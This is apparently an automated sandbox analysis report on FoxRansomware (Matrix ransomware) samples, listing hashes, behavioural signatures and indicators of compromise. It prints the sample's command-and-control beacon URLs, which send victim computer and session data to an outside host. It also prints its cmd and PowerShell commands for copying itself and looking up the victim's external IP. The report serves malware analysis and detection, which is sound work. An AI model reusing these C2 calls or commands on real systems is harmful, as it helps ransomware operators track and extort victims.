Overview
overview
10Static
static
FoxRansomw...65.exe
windows7_x64
10FoxRansomw...65.exe
windows10-2004_x64
10FoxRansomw...a7.exe
windows7_x64
10FoxRansomw...a7.exe
windows10-2004_x64
10FoxRansomw...20.exe
windows7_x64
10FoxRansomw...20.exe
windows10-2004_x64
10FoxRansomw...0b.exe
windows7_x64
10FoxRansomw...0b.exe
windows10-2004_x64
10FoxRansomw...53.exe
windows7_x64
10FoxRansomw...53.exe
windows10-2004_x64
10FoxRansomw...b1.exe
windows7_x64
10FoxRansomw...b1.exe
windows10-2004_x64
10Analysis
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max time kernel
185s -
max time network
198s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
01-02-2022 08:39
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-en-20220112
windows10-2004_x64
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-en-20211208
windows7_x64
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-en-20220112
windows10-2004_x64
General
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Target
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
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Size
1.2MB
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MD5
c82d64850d35cc6a536c11adbd261cf6
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SHA1
9f4d070a1b4668d110b57c167c4527fa2752c1fe
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SHA256
941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1
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SHA512
777a06d73e70a881d5b3872236ba8b53aa4d42f94ad247c109980847ccd6d0c531d30afef10315d7b5fe70c7fe4496f932aaac41f6aec76e98474c44bb781002
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
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Matrix Ransomware 3 IoCs
Targeted ransomware with information collection and encryption functionality.
description flow ioc HTTP URL 578 http://fredstat.000webhostapp.com/addrecord.php?apikey=kok8_api_key&compuser=RIBCQUHQ|Admin&sid=kMNs3lTgYXmTcuc1&phase=2189146D5C7FD1D0|3876|2GB HTTP URL 27 http://fredstat.000webhostapp.com/addrecord.php?apikey=kok8_api_key&compuser=RIBCQUHQ|Admin&sid=kMNs3lTgYXmTcuc1&phase=START HTTP URL 166 http://fredstat.000webhostapp.com/addrecord.php?apikey=kok8_api_key&compuser=RIBCQUHQ|Admin&sid=kMNs3lTgYXmTcuc1&phase=[ALL]2189146D5C7FD1D0 -
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
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Executes dropped EXE 1 IoCs
pid Process 3760 NWirsMaE.exe -
Sets service image path in registry 2 TTPs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Enumerates connected drives 3 TTPs 22 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\V: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\U: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\P: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\J: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\S: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\R: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\O: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\Y: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\X: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\W: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\T: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\L: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\F: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\Q: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\N: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\M: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\K: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\I: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\H: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\G: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe File opened (read-only) \??\E: 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2852 powershell.exe 2852 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2852 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3644 wrote to memory of 4080 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 58 PID 3644 wrote to memory of 4080 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 58 PID 3644 wrote to memory of 4080 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 58 PID 3644 wrote to memory of 3760 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 60 PID 3644 wrote to memory of 3760 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 60 PID 3644 wrote to memory of 3760 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 60 PID 3644 wrote to memory of 2560 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 66 PID 3644 wrote to memory of 2560 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 66 PID 3644 wrote to memory of 2560 3644 941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe 66 PID 2560 wrote to memory of 2852 2560 cmd.exe 68 PID 2560 wrote to memory of 2852 2560 cmd.exe 68 PID 2560 wrote to memory of 2852 2560 cmd.exe 68
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe"1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWirsMaE.exe"2⤵PID:4080
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWirsMaE.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWirsMaE.exe" -n2⤵
- Executes dropped EXE
PID:3760
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xQbU4gZ5.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2852
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 7c76e82263c1398765609c363be66a9a r0ohSL2Ws0SN2Pjcvoljkw.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:372